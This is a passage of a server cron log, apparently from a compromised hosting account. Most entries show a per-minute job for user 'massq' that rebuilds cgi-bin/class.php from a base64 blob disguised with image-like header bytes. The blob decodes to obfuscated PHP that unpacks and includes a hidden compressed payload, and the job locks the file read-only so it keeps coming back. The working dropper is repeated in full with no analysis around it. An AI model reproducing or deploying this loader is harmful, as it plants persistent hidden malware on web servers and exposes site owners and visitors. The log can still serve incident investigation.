Nov  9 15:11:01 server CROND[16881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:12:01 server CROND[17530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:12:01 server CROND[17531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 15:13:01 server CROND[18201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:14:01 server CROND[18965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:15:01 server CROND[19793]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:15:01 server CROND[19794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:15:01 server CROND[19795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:16:01 server CROND[20098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:17:01 server CROND[20857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:18:02 server CROND[21670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:19:01 server CROND[22467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:20:01 server CROND[23333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:20:01 server CROND[23335]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 15:20:01 server CROND[23337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:20:01 server CROND[23338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:20:01 server CROND[23346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 15:21:01 server CROND[23917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:22:01 server CROND[24410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:23:01 server CROND[24764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:24:01 server CROND[25357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 